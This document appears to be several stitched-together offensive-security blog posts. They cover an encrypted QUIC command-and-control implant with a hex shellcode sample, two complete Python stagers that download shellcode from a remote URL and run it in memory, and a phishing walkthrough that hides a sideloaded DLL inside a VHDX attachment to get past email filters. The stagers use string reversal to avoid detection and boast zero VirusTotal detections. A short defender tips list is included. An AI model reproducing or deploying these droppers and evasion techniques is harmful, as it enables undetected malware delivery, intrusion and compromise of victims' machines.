Now, the async wrinkle. Our encrypted c2 implant, or crudeRAT if you will, runs entirely inside an asyncio event loop. If we call EnumSystemLocalesW directly on the event loop thread and our shellcode blocks, then we would freeze the entire implant. No more commands, no keep-alive pings, nothing. So, we push shellcode execution into a thread pool via run_in_executor:

loop = asyncio.get_event_loop()
success = await asyncio.wait_for(
    loop.run_in_executor(None, call_enum),
    timeout=10.0
)

The wait_for gives us a 10-second timeout. If the shellcode hasn’t returned by then we bail, free the memory, and report back. In practice, a working beacon payload will do its thing and the implant just continues running on the event loop thread independently. The shellcode spins up its own threads internally. I’m more or less imitating an actual beacon payload…in a much more crude way lol.

One thing worth noting for defenders reading this: VirtualAlloc with PAGE_EXECUTE_READWRITE followed by EnumSystemLocalesW is a detectable sequence. A well-tuned EDR with kernel callbacks watching NtAllocateVirtualMemory and NtProtectVirtualMemory will light up on this. The improvement path from here is module stomping or reflective loading into already-executable memory. Topics I’d love to dive into further in a future post (or a Learning Course Module, something I’m working on off and on in what spare time I have).😄

Using Shellcode from the C2 Client

[C2] Command> send_shellcode <hex-encoded shellcode>
[IMPLANT] Shellcode executed successfully

For instance, the following will execute calc.exe using the `EnumSystemLocalesW` API:

[C2] Command> send_shellcode 4883ec284883e4f04831c965488b4160488b4018488b7010488b36488b36488b5e304989d88b5b3c4c01c34831c96681c1ff8848c1e9088b140b4c01c2448b52144d31db448b5a204d01c34c89d148b8646472657373909048c1e01048c1e8105048b847657450726f6341504889e067e32031db418b1c8b4c01c348ffc94c8b084c390b75e9448b480844394b08740375ddcc51415f49ffc74d31db448b5a1c4d01c3438b04bb4c01c050415f4d89fc4c89c74c89c14d89e64889f9b861649090c1e010c1e8105048b84578697454687265504889e24883ec3041ffd64883c4304989c54d89e64889f948b857696e4578656300504889e24883ec3041ffd64883c4304989c64883c408b8000000005048b863616c632e657865504889e1ba010000004883ec3041ffd631c941ffd5

Generate your shellcode hex with whatever framework you prefer and paste it in. The implant handles the rest.

Keep-Alive

QUIC connections have an idle timeout — without traffic, the connection drops. We solve this with a background coroutine that sends a QUIC PING frame every 20 seconds:

async def keep_alive(protocol):
    while True:
        await asyncio.sleep(20)
        protocol._quic.send_ping(uid=0)
        protocol.transmit()

Simple and effective.

The C2 Server (quicsvr3.py)

The server uses aioquic’s serve() function and handles the same bidirectional stream from the other side.

TLS Setup

QUIC requires a certificate. Generate a self-signed one before running the server:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost'

The server loads it like this:

config = QuicConfiguration(is_client=False, alpn_protocols=["g3tsyst3m])
config.load_cert_chain("cert.pem", "key.pem")
config.max_idle_timeout = 600000  # 10 minutes

The implant sets verify_mode = ssl.CERT_NONE since it’s self-signed, but the TLS encryption itself is fully active.

Download State Machine

This is the trickiest part of the server. On TCP you can just recv(filesize) in a loop. On QUIC, data arrives in StreamDataReceived events of arbitrary size. We use a state machine with three states:

_DL_IDLE      = "idle"
_DL_WAIT_SIZE = "wait_size"   # waiting for filesize int from implant
_DL_RECV_DATA = "recv_data"   # receiving raw binary

When a download starts we flip to _DL_WAIT_SIZE. The first data that arrives is buffered until we can parse the filesize integer. Then we flip to _DL_RECV_DATA and feed everything into an open file handle until received >= filesize:

def _write_dl_chunk(self, data: bytes):
    remaining = self._dl_filesize - self._dl_received
    chunk     = data[:remaining]
    self._dl_file.write(chunk)
    self._dl_received += len(chunk)

    if self._dl_received >= self._dl_filesize:
        self._dl_file.close()
        self.output_buffer = f"DOWNLOAD_DONE|{self._dl_save_path}|{self._dl_received}"
        self._dl_reset()

Upload stuff

Uploading files is satisfying because you get a proper progress bar 😸

with open(local_path, 'rb') as f, tqdm(total=filesize, unit="B", unit_scale=True,
                                        desc=f"Uploading {filename}") as pbar:
    for chunk in iter(lambda: f.read(4096), b''):
        client.send_raw(chunk)
        pbar.update(len(chunk))
        await asyncio.sleep(0)

The await asyncio.sleep(0) on each chunk yields back to the event loop so QUIC can actually flush the data. Without that yield you’d buffer the whole file before any of it goes out.

Putting It All Together

Improvements / Things to Keep in Mind

• No persistence: The implant doesn’t install itself anywhere. You’d need to add that separately.
• Shell output timing: The await asyncio.sleep(0.5) in the shell loop is a timing assumption. Long-running commands may need a longer sleep or a sentinel string like :endofoutput: (like we did in Part 2) for reliable output capture.
• Single implant: The server only tracks one connected client at a time via current_client. Multi-implant support would need a proper client list like I do in my first python series. This is more to demonstrate how to create an encrypted reverse shell / C2 implant.
• ALPN string — "g3tsyst3m" is fine for a lab, but in a real pentest engagement your ALPN should blend in. "h3" (HTTP/3) would be far less conspicuous.

Wrapping Up

We covered a lot of ground today! QUIC gives us an encrypted, UDP-based connection with added stealth not always afforded for your standard c2 / reverse shell connection. It’s also not commonly used for this purpose so we won’t be as heavily signatured.

Source code: Python Server/Client Source Code

Stay tuned for the next post. I’m likely going to visit Just in Time Shellcode execution next, so see you then!🦉

Bonus Content for Members! (All Membership Tiers)

🐍 Standalone Python Script that executes Calc.exe using EnumSystemLocalesW: EnumSystemLocalesW w/ Python Standalone

Sponsored by:

FUD Stager Variant #1

High Level Overview for The First Stager Concept

• Construct a URL via string reversal to obscure its destination (SCODE_U[::-1])
• Download raw shellcode from that URL
• Allocate RWX memory via NtAllocateVirtualMemory (NT-layer to dodge API monitoring)
• Copy shellcode into that region
• Execute it via NtCreateThreadEx, evasion-motivated
• API names are obfuscated via string reversal throughout the code (_api, _api2, etc.)

In brief: This is a simple dropper/stager that downloads and executes shellcode in-memory, and avoids writing anything to disk.

Part 1 - Bypassing Static Analysis Overview

The initial approach I usually take is to use simple yet effective techniques to help prevent familiar static analysis detection. For starters, I want to:

• Avoid string detection for APIs we will use in the code
• Rename and/or shorten the name of familiar offsec terms used throughout our code like shellcode -> scode, download shellcode -> dwnlod_scode, and so on.
• Reverse our variable names and other strings used in our code and correct them at time of execution
  • _api = “yromeMlautriVetacollAtN”
  • SCODE_U = “onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth”

Why string detection matters

Most static analysis engines, whether signature-based or ML-assisted, are doing some form of token scoring. Strings like VirtualAlloc, CreateThread, NtAllocateVirtualMemory, and shellcode carry heavy malicious weight in any trained model. They show up constantly in malware samples, so their mere presence pushes a file’s score upward fast. The goal isn’t to be invisible, it’s to stay below the threshold that triggers a block or quarantine action.

Reversing our API strings and resolving them at runtime is about as low-effort as obfuscation gets, and I like low effort code. 😈 It works because static analysis by definition can’t execute your code to unwind it. An engine scanning bytes on disk sees "yromeMlautriVetacollAtN" — an unrecognized string that scores essentially zero on its own. 😸

Variable names Matter!

This one is almost embarrassingly simple, but don’t underestimate it. Variable names, function names, and comments all end up as strings in your source or bytecode. A function called download_shellcode is a gift to any analyst or automated scanner. dwnlod_scode isn’t clever enough to fool a human analyst for long, but you’re not trying to fool a human analyst at static analysis time — you’re trying to slip past automated pre-execution scoring.

Part 2 - Downloading the Shellcode in Memory

SCODE_U = "onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth"  
SCODE_U = SCODE_U[::-1]
def dwnlod_scode(url):
    try:
        response = requests.get(url, stream=True)  # Stream for large files 
        response.raise_for_status()
        shel_ly = b''.join(response.iter_content(chunk_size=4096))  # Load fully into bytes
        print(f"[+] Dwnlded {len(shel_ly)} bytes of scode")
        return shel_ly
    except Exception as e:
        print(f"[-] Dwnld failed: {e}")
        return None

In the code above is pretty straightforward. My shellcode is located in a file that resides on my Github repo and I’ve reversed the URL string to thwart static analysis efforts. I’ve also renamed the file extension to something random, in this case .dyno as that is not a typical windows file extension and it will not receive as much scrutiny as say a .bin file extension. Finally, we return the bytes of the shellcode we just downloaded in the shel_ly variable.

Part 3 - Eggsecuting Shellcode in Memory 🥚

I always like to keep things simple to start, just to see how much I can get away with before detection 😸 In this case, I was able to avoid using advanced methods such as Syscalls and/or further advanced techniques to inject our shellcode and the code remained undetected. I didn’t keep things so simple as to still use the basic kernel32 APIs though. 😏 Instead, we will be making use of the low level NT APIs to help increase our chances of success as far as code exection without detection.

Here’s how everything is laid out in the eggsecute_scode function:

Obfuscated Windows API calls

Our code uses string reversal once again to hide the real API names from simple string scanners:

• “eldnaHesolC”[::-1] → CloseHandle
• “tcejbOelgniSroFtiaW”[::-1] → WaitForSingleObject
• “yromeMlautriVetacollAtN”[::-1] → NtAllocateVirtualMemory
• “xEdaerhTetaerCtN”[::-1] → NtCreateThreadEx
• “evommem”[::-1] → memmove

Allocating executable memory using NT APIs

We use NtAllocateVirtualMemory (our low-level kernel32 API equivalent from ntdll) to request a block of memory in the current process with these familiar permissions:

MEM_COMMIT

MEM_RESERVE

PAGE_EXECUTE_READWRITE (RWX — readable, writable, and executable)

This is as basic as it gets as far as demonstrating a classic allocation of RWX memory

Copy the shellcode into memory and Execute it!

We now use memmove to copy the previously downloaded shellcode bytes directly into the newly allocated executable memory region. Finally, as is typical in standard shellcode execution convention, we create a thread to run our shellcode.

We will use the low level NtCreateThreadEx API to spawn a new thread inside our current process, with the starting address set to the beginning of the shellcode. Lastly, we wait up to 10 seconds for the thread to finish (WaitForSingleObject) and then close the thread handle.

Here’s what that entire function looks like in terms of code:

def eggsecute_scode(scode2):
    # Constants
    MEM_COMMIT = 0x1000
    MEM_RESERVE = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40

    kernel32 = ctypes.windll.kernel32
    ntdll = ctypes.windll.ntdll
    
    _api4 = "eldnaHesolC"
    closingtime = getattr(kernel32, _api4[::-1])
    
    closingtime.restype = wintypes.DWORD
    closingtime.argtypes = [
    wintypes.HANDLE,  # hHandle
    ]
    
    _api3 = "tcejbOelgniSroFtiaW"
    waitinaround = getattr(kernel32, _api3[::-1])
    
    waitinaround.restype = wintypes.DWORD
    waitinaround.argtypes = [
    wintypes.HANDLE,  # hHandle
    wintypes.DWORD,   # dwMilliseconds
    ]
    
    _api = "yromeMlautriVetacollAtN"  # 
    Allocator = getattr(ntdll, _api[::-1])
    
    Allocator.restype = wintypes.BOOL
    Allocator.argtypes = [
    wintypes.HANDLE,
    ctypes.POINTER(wintypes.LPVOID),
    ctypes.c_void_p,
    ctypes.POINTER(ctypes.c_size_t),
    wintypes.DWORD,
    wintypes.DWORD,
    ]
    
    _api2 = "xEdaerhTetaerCtN"
    thred_the_needle = getattr(ntdll, _api2[::-1])
    
    thred_the_needle.restype = wintypes.LONG  # NTSTATUS
    thred_the_needle.argtypes = [
    ctypes.POINTER(wintypes.HANDLE),   # ThredHandel (out)
    ctypes.c_ulong,                    # DesiredAccess
    ctypes.c_void_p,                   # ObjectAttributes
    wintypes.HANDLE,                   # ProcessHandle
    ctypes.c_void_p,                   # StartRoutine (your scode addr)
    ctypes.c_void_p,                   # Argument
    ctypes.c_ulong,                    # CrateFlags (0 = run immediately)
    ctypes.c_size_t,                   # ZeroBits
    ctypes.c_size_t,                   # StackSize
    ctypes.c_size_t,                   # MaximumStackSize
    ctypes.c_void_p,                   # AttributeList
]
    
    addr = wintypes.LPVOID(0)
    size = ctypes.c_size_t(len(scode2))
    current_process = wintypes.HANDLE(-1)
    status = Allocator(
        current_process,
        ctypes.byref(addr),
        0,
        ctypes.byref(size),
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    )
    
    if status == 0:  # NTSTATUS 0 = success
        mem_addr = addr.value
        print(f"[+] Allcted mem at: 0x{mem_addr:x}")
        
        _api0 = "evommem"  
        m3mMov3r = getattr(ctypes, _api0[::-1])
        
        m3mMov3r(mem_addr, scode2, len(scode2))
        print("[+] Scode copied to memory")
        
        h_thread = wintypes.HANDLE(0)
        status2 = thred_the_needle(
        ctypes.byref(h_thread),
        0x1FFFFF,                          # THRED_ALL_ACCESS
        None,
        current_process,
        ctypes.cast(mem_addr, ctypes.c_void_p),  # scode start address
        None,
        0,                                 # no flags, start immediately
        0,
        0,
        0,
        None
        )
        
        if status2 == 0:
            print(f"[+] Thredded Needle!")
            
            waitinaround(h_thread.value, 10000)
            closingtime(h_thread.value)
        else:
            print(f"[-] thred_the_needle failed: {hex(status2 & 0xFFFFFFFF)}")
            
    else:
        print(f"[-] Allocator failed (NTSTATUS: 0x{status:08X})")

Bringing it all together

Code Execution:

Reverse Shell:

For just 135 lines of code, we were able to accomplish a very effective means of executing shellcode in memory without detection. Want to see how effective? See for yourself. At the time of my submission/analysis, this achieved a 0/63 on VirusTotal. In other words: FUD achieved!

hash lookup: 27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e

https://www.virustotal.com/gui/file/27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e

Full Source Code:

#27e51de6e6a555bc622a3769ee030bfd92079022780ca8bb33958479562dfc6e


import requests
import ctypes
from ctypes import wintypes

SCODE_U = "onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth"  
SCODE_U = SCODE_U[::-1]
def dwnlod_scode(url):
    try:
        response = requests.get(url, stream=True)  # Stream for large files 
        response.raise_for_status()
        shel_ly = b''.join(response.iter_content(chunk_size=4096))  # Load fully into bytes
        print(f"[+] Dwnlded {len(shel_ly)} bytes of scode")
        print(shel_ly)
        return shel_ly
    except Exception as e:
        print(f"[-] Dwnld failed: {e}")
        return None

def eggsecute_scode(scode2):
    # Constants
    MEM_COMMIT = 0x1000
    MEM_RESERVE = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40

    kernel32 = ctypes.windll.kernel32
    ntdll = ctypes.windll.ntdll
    
    _api4 = "eldnaHesolC"
    closingtime = getattr(kernel32, _api4[::-1])
    
    closingtime.restype = wintypes.DWORD
    closingtime.argtypes = [
    wintypes.HANDLE,  # hHandle
    ]
    
    _api3 = "tcejbOelgniSroFtiaW"
    waitinaround = getattr(kernel32, _api3[::-1])
    
    waitinaround.restype = wintypes.DWORD
    waitinaround.argtypes = [
    wintypes.HANDLE,  # hHandle
    wintypes.DWORD,   # dwMilliseconds
    ]
    
    _api = "yromeMlautriVetacollAtN"  # 
    Allocator = getattr(ntdll, _api[::-1])
    
    Allocator.restype = wintypes.BOOL
    Allocator.argtypes = [
    wintypes.HANDLE,
    ctypes.POINTER(wintypes.LPVOID),
    ctypes.c_void_p,
    ctypes.POINTER(ctypes.c_size_t),
    wintypes.DWORD,
    wintypes.DWORD,
    ]
    
    _api2 = "xEdaerhTetaerCtN"
    thred_the_needle = getattr(ntdll, _api2[::-1])
    
    thred_the_needle.restype = wintypes.LONG  # NTSTATUS
    thred_the_needle.argtypes = [
    ctypes.POINTER(wintypes.HANDLE),   # ThredHandel (out)
    ctypes.c_ulong,                    # DesiredAccess
    ctypes.c_void_p,                   # ObjectAttributes
    wintypes.HANDLE,                   # ProcessHandle
    ctypes.c_void_p,                   # StartRoutine (your scode addr)
    ctypes.c_void_p,                   # Argument
    ctypes.c_ulong,                    # CrateFlags (0 = run immediately)
    ctypes.c_size_t,                   # ZeroBits
    ctypes.c_size_t,                   # StackSize
    ctypes.c_size_t,                   # MaximumStackSize
    ctypes.c_void_p,                   # AttributeList
]
    
    addr = wintypes.LPVOID(0)
    size = ctypes.c_size_t(len(scode2))
    current_process = wintypes.HANDLE(-1)
    status = Allocator(
        current_process,
        ctypes.byref(addr),
        0,
        ctypes.byref(size),
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    )
    
    if status == 0:  # NTSTATUS 0 = success
        mem_addr = addr.value
        print(f"[+] Allcted mem at: 0x{mem_addr:x}")
        
        _api0 = "evommem"  
        m3mMov3r = getattr(ctypes, _api0[::-1])
        
        m3mMov3r(mem_addr, scode2, len(scode2))
        print("[+] Scode copied to memory")
        
        h_thread = wintypes.HANDLE(0)
        status2 = thred_the_needle(
        ctypes.byref(h_thread),
        0x1FFFFF,                          # THRED_ALL_ACCESS
        None,
        current_process,
        ctypes.cast(mem_addr, ctypes.c_void_p),  # scode start address
        None,
        0,                                 # no flags, start immediately
        0,
        0,
        0,
        None
        )
        
        if status2 == 0:
            print(f"[+] Thredded Needle!")
            
            waitinaround(h_thread.value, 10000)
            closingtime(h_thread.value)
        else:
            print(f"[-] thred_the_needle failed: {hex(status2 & 0xFFFFFFFF)}")
            
    else:
        print(f"[-] Allocator failed (NTSTATUS: 0x{status:08X})")

if __name__ == "__main__":
    print("[*] Dwnlding scode from URL...")
    scode = dwnlod_scode(SCODE_U)
    if scode:
        print("[*] Eggsecuting Scode in mem...")
        eggsecute_scode(scode)
    else:
        print("[-] Aborting.")

FUD Stager Variant #2

High Level Overview

Let’s take another creative approach to building our FUD stager. Rather than calling VirtualAlloc directly, we’ll leverage the already-loaded python314.dll — parsing its in-memory PE structure to walk the IAT and extract the live runtime address of VirtualAlloc as imported from kernel32.dll. No direct API call. No obvious import. Just borrowing what Python already loaded for us. It’s also worth mentioning this is assuming you use a portable version of python to load your script. It would work with py2exe as well, but we’re trying to avoid use of executable files in this case. The python executable itself is an exception 😸

In short: The resolved IAT address becomes a typed function pointer, giving us direct access to VirtualAlloc without ever naming it explicitly or having to look its memory address up manually via traditional methods (GetProcAddress, etc). This once again helps aid us greatly in deterring static analysis efforts from EDR.

Part 1 - The Familiar Downloader

Our code this time starts out in a familiar fashion as our last FUD code. We download our reverse shell shellcode bytes into memory. We will also be reversing our URL string again and changing variables from their familiar descriptors (shellcode, etc) to a less revealing name, like SCODE_U (shellcode url 😄).

import ctypes, sys, os
import requests

try:
    import pefile
except ImportError:
    print("pip install pefile"); sys.exit(1)

SCODE_U = "onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth"
SCODE_U = SCODE_U[::-1]

def dwnlod_scode(url):
    try:
        response = requests.get(url, stream=True)
        response.raise_for_status()
        shel_ly = b''.join(response.iter_content(chunk_size=4096))
        print(f"[+] Downloaded {len(shel_ly)} bytes")
        return shel_ly
    except Exception as e:
        print(f"[-] Download failed: {e}"); return None

Part 2 - Setup our functions for Copying and Executing the Downloaded Shellcode

We also need to go over the copying of our shellcode bytes into our soon to be allocated memory address and the executing of the shellcode. Let’s do that now.

def copy_to_page(page: int, scode: bytes) -> bool:
    """Copy scode bytes into the RWX page via ctypes.memmove."""
    if not page:
        print("[-] Invalid page address"); return False
    if len(scode) > 0x1000:
        print(f"[-] Scode too large ({len(scode)} > 0x1000)"); return False

    # memmove(dst, src, count)
    # dst = raw integer address of our RWX page
    # src = scode bytes (ctypes accepts bytes directly as src)
    ctypes.memmove(page, scode, len(scode))
    print(f"[+] Copied {len(scode)} bytes → 0x{page:016x}")
    return True

def exec_page(page: int):
    """Cast the page to a void(*)(void) and call it."""
    thunk = ctypes.WINFUNCTYPE(None)(page)
    print(f"[+] Executing scode @ 0x{page:016x}")
    thunk()

Part 3- Walking the IAT and locating the already loaded VirtualAlloc memory address!

Phase 1 — We will build out the DLL name and path dynamically

ver      = sys.version_info
dll_name = f"python{ver.major}{ver.minor}.dll"
dll_path = os.path.join(os.path.dirname(sys.executable), dll_name)

The first part of our code constructs python314.dll (or whatever version you are running) without hardcoding it. dll_path points to the on-disk copy needed for PE parsing. This is also nice because it is version-agnostic and works across all Python releases without modification.

Phase 2 — We get the live in-memory base address of our python314.dll

k32 = ctypes.windll.kernel32
k32.GetModuleHandleW.restype  = ctypes.c_void_p
k32.GetModuleHandleW.argtypes = [ctypes.c_wchar_p]
base = k32.GetModuleHandleW(dll_name)

We explicitly set the return type to c_void_p so ctypes doesn’t truncate the 64-bit address. GetModuleHandleW returns the base address of our already-loaded module. In other words: no disk load, no new mapping. Since Python is running, python314.dll is guaranteed to be resident in memory.

Phase 3 — We need to parse the on-disk PE structure

pe = pefile.PE(dll_path, fast_load=False)
pe.parse_data_directories()

We will read the on-disk copy of python314.dll purely for its layout. This includes section headers, import directory offsets, and ImageBase.

fast_load=False + parse_data_directories() ensures the full import table is available.

Phase 4 — Walk the IAT and resolve the live pointer

memprep = b"collAlautriV"   # "VirtualAlloc" reversed
for entry in pe.DIRECTORY_ENTRY_IMPORT:
    if b'kernel32' in entry.dll.lower():
        for imp in entry.imports:
            if imp.name == memprep[::-1]:
                slot  = base + imp.address - pe.OPTIONAL_HEADER.ImageBase
                va_va = ctypes.c_uint64.from_address(slot).value

Part 4 - Cast and Execute!

Lastly, this code snippet filters to kernel32.dll imports only. We then match against b”VirtualAlloc”, without that string ever appearing in plaintext.

imp.address is the on-disk VA of the IAT slot. Subtracting pe.OPTIONAL_HEADER.ImageBase converts it to an RVA. Adding base converts the RVA to the actual runtime address of the slot.

and Finally! c_uint64.from_address(slot).value dereferences that previously mentioned slot. We then read the 8-byte pointer the loader wrote there at startup, giving us the true runtime address of VirtualAlloc 😸 Phew! Well, there you have it.

The resulting va_va is the live, post-ASLR, post-loader-resolution address of VirtualAlloc, ready to be cast to a callable. Let’s do that now!

MemoryAllocator = ctypes.WINFUNCTYPE(
    ctypes.c_void_p,
    ctypes.c_void_p, ctypes.c_size_t,
    ctypes.c_uint32, ctypes.c_uint32
)(va_va) # <--here's where we cast it

page = MemoryAllocator(None, 0x1000, 0x3000, 0x40)
print(f"[+] RWX page @ 0x{page:016x}" if page else f"[-] failed (GLE={k32.GetLastError()})")

if page:
    print("[+] allocated!")

Finally, call the copy and execute functions:

# ── execution ─────────────────────────────────────────────────────────────────────
scode = dwnlod_scode(SCODE_U)
if scode:
    # page = your VAlloc result from earlier
    if copy_to_page(page, scode):
        exec_page(page)
        
    # ── cleanup (only reached if shellcode returns) ───────────────────────────────
    k32.VirtualFree(ctypes.c_void_p(page), 0, 0x8000)
    print("[*] freed")

Here’s a sneak preview of the finished product:

VirusTotal Results 💊

Hash: 6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6

https://www.virustotal.com/gui/file/6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6

And the full source code for FUD variant #2:

#6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6

import ctypes, sys, os
import requests

try:
    import pefile
except ImportError:
    print("pip install pefile"); sys.exit(1)

SCODE_U = "onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth"
SCODE_U = SCODE_U[::-1]

def dwnlod_scode(url):
    try:
        response = requests.get(url, stream=True)
        response.raise_for_status()
        shel_ly = b''.join(response.iter_content(chunk_size=4096))
        print(f"[+] Downloaded {len(shel_ly)} bytes")
        return shel_ly
    except Exception as e:
        print(f"[-] Download failed: {e}"); return None

def copy_to_page(page: int, scode: bytes) -> bool:
    """Copy scode bytes into the RWX page via ctypes.memmove."""
    if not page:
        print("[-] Invalid page address"); return False
    if len(scode) > 0x1000:
        print(f"[-] Scode too large ({len(scode)} > 0x1000)"); return False

    # memmove(dst, src, count)
    # dst = raw integer address of our RWX page
    # src = scode bytes (ctypes accepts bytes directly as src)
    ctypes.memmove(page, scode, len(scode))
    print(f"[+] Copied {len(scode)} bytes → 0x{page:016x}")
    return True

def exec_page(page: int):
    """Cast the page to a void(*)(void) and call it."""
    thunk = ctypes.WINFUNCTYPE(None)(page)
    print(f"[+] Executing scode @ 0x{page:016x}")
    thunk()

ver      = sys.version_info
dll_name = f"python{ver.major}{ver.minor}.dll"
dll_path = os.path.join(os.path.dirname(sys.executable), dll_name)

k32 = ctypes.windll.kernel32
k32.GetModuleHandleW.restype  = ctypes.c_void_p     
k32.GetModuleHandleW.argtypes = [ctypes.c_wchar_p]
base = k32.GetModuleHandleW(dll_name)
print(f"[*] {dll_name} @ 0x{base:016x}")

pe = pefile.PE(dll_path, fast_load=False)
pe.parse_data_directories()

memprep=b"collAlautriV"
va_va = 0
for entry in pe.DIRECTORY_ENTRY_IMPORT:
    if b'kernel32' in entry.dll.lower():
        for imp in entry.imports:
            if imp.name == memprep[::-1]:
                slot  = base + imp.address - pe.OPTIONAL_HEADER.ImageBase
                va_va = ctypes.c_uint64.from_address(slot).value
                break

if not va_va:
    print("[-] collAlautriV not found in IAT"); sys.exit(1)
print(f"[+] collAlautriV @ 0x{va_va:016x}")

MemoryAllocator = ctypes.WINFUNCTYPE(
    ctypes.c_void_p,
    ctypes.c_void_p, ctypes.c_size_t,
    ctypes.c_uint32, ctypes.c_uint32
)(va_va)

page = MemoryAllocator(None, 0x1000, 0x3000, 0x40)
print(f"[+] RWX page @ 0x{page:016x}" if page else f"[-] failed (GLE={k32.GetLastError()})")

if page:
    print("[+] allocated!")

# ── execution ─────────────────────────────────────────────────────────────────────
scode = dwnlod_scode(SCODE_U)
if scode:
    # page = your VAlloc result from earlier
    if copy_to_page(page, scode):
        exec_page(page)
        
    # ── cleanup (only reached if shellcode returns) ───────────────────────────────
    k32.VirtualFree(ctypes.c_void_p(page), 0, 0x8000)
    print("[*] freed")

Bonus Content for Members! (All Membership Tiers)

📹 In-Depth Video/Audio Walkthrough for today’s blog post: In-Depth Video Walkthrough

🗒️ Packaged .zip file containing portable python + Source Code to go with the Video: Portable Python + code

🛡️ Dynamic Analysis Detection Tips 🛡️

• Flag python.exe when allocating RWX memory at runtime. I’d say most legitimate Python workloads almost never do this 😆
• ETW Microsoft-Windows-Threat-Intelligence provider alerts on ALLOCVM events with execute permissions from interpreter processes
• Detect execution originating from private, non-image-backed memory regions
• Alert on python.exe making outbound network connections followed by memory allocation and execution in the same process lifetime
• Monitor for python-requests User-Agent strings
• Flag NtAllocateVirtualMemory and/or NtCreateThreadEx calls from python interpreter processes. Honestly, NT API usage from Python is highly anomalous
• Sandbox detonation of unknown .py files with full API call tracing — reversed strings unwind at runtime and become visible in dynamic traces even when invisible statically
• Alert on python.exe with no parent console or GUI context making network calls
• Detect pefile import activity at runtime. Parsing a PE from within a running Python process is unusual behavior outside of explicit reverse engineering tooling
• Memory scanning on execute-permission regions mid-execution. Shellcode signatures that evade static scanning are often detectable in-memory after decoding

And that’s a wrap folks! Thanks and see you on the next blog post!

~G3tSyst3m

Sponsored By:

Speaking of MOTW, Spoiler Alert: We’ll be using a cool trick I learned a while back where you use a known trusted executable to bypass MOTW and also use DLL sideloading to further amplify our evasive strategy. Let’s do it to it!

The Lay of the Land

In our scenario, let’s assume we’re only provided the company directory which includes their phone and email address. We’re permitted to use any means necessary of compromising a machine and so forth, but the information we’re starting with is limited. Like I mentioned earlier, I’ll be resorting to email for our attack vector to work toward our goal of initial access/initial foothold into the organization. I could go the whole social engineering route and text/call someone at the company, but that won’t be a part of this exercise 😼 Let me give you a tour of our toolkit arsenal.

Using Gmail’s Web Frontend and Testing Attachment Types

Test attachment #1: .zip attachment with 1 exectuble and 1 DLL inside

Gmail is VERY tempermental with attachments, and rightly so. Threat actors have successfully leveraged email attachments as the primary vehicle for payload transport to the victim for years. So let’s see what we’re up against. We will try a basic .zip attachment with an executable and DLL file. The executable is a digitally signed Microsoft executable (ApplicationFrameHost.exe just renamed by me to something else) and the DLL is a DLL we will be sideloading later. Mwuahahahhhahha! But here’s the deal, the executable is literally the same as the one in System32. I just renamed it. let’s see what happens:

Okay so as you likely already have surmised, we failed to get beyond Gmail’s initial security filters.

Spoiler alert…again 😸: It’s largely due to the executable. It doesn’t matter what executable we use, signed, unsigned, zipped, not zipped, you name it. It will likely get flagged.

You may also think,”But wait, why not use Proton mail to send it instead? Or some other email client less well known, etc?” Sure. You absolutely can, but then you run into another issue. The receiving user’s email client will also scrutinize the attachment to see if it checks out. So for all intents and purposes, let’s just go off the assumption that if it works in gmail and permits us to upload it, then the receiving client’s email security will also likely let it pass through. In my case, I’ll be sending from Gmail to my Outlook account.

Test attachment #2: .zip attachment that includes a VHDX (Hard Disk Image File) with the exact same contents (I’ll show you how to generate this shortly I promise 😸)

Notice the file size! Pretty large huh? We can get around that by compressing it into a .zip file which we had already planned to do anyways!

Here’s inside the zip file:

And now going inside the VHDX file:

Double clicking on the VHDX file will also treat this file as a mountable drive.

Now the moment we’ve all been waiting for…uploading it to our email to see if it is accepted or flagged:

AND…………………….BINGO!!!!

That time we didn’t run into any issues. Phew!

Okay, so that’s one approach you can take to prep your payload. This can go a number of ways of course. You could have used a .ps1 script or py-to-exe executable, .hta script, .vbs, and so on. You get the idea. The primary key is to “cloak” your scripts inside a virtual disk file. I’ve tried .iso and .img and those get flagged more often than I’d like. The only consistent way I’ve found to include an attachment and it not get flagged is through the use of .VHDX files. Here’s the script I used to package this btw. It needs to be ran as Administrator to create the .VHDX file.

It does NOT need admin rights to mount/open it as a user. <– Revision 3/29/2026: This is incorrect. You need to be a member of the local administrators group for this to work. Thank you to the kind and responsible reader who pointed this out to me!

• VHD_PATH is the output file
• EXE_TO_COPY is the executable you wish to add to the VHDX
• SCRIPT_TO_COPY is the script you’d like to add to the VHDX

and so on…

You can add as many variables as you like. Okay the script! See below:

@echo off
setlocal enabledelayedexpansion

set VHD_PATH=C:\Temp\DocumentUpdate.vhdx
set VHD_SIZE_MB=64
set EXE_TO_COPY=C:\Temp\DocumentRetrieval.exe
set SCRIPT_TO_COPY=C:\Temp\UMPDC.dll

echo [+] Creating 1GB VHDX...
(
echo create vdisk file="%VHD_PATH%" maximum=%VHD_SIZE_MB% type=expandable
echo select vdisk file="%VHD_PATH%"
echo attach vdisk
echo create partition primary
echo format fs=ntfs label="Documents2026" quick
echo assign letter=X
) | diskpart > nul 2>&1

REM Detect actual letter if X taken
for %%d in (X Y Z W V U T S R Q P O N M L K J I H G F E D C B A) do (
    if exist %%d:\ (
        echo [+] Drive %%d: available? No.
    ) else (
        echo [+] Assigning %%d:
        echo select disk !disknum!
        echo select partition 1
        echo assign letter=%%d
        ) | diskpart > nul 2>&1
        set DRIVE_LETTER=%%d
        goto :copy
    )
)

:copy

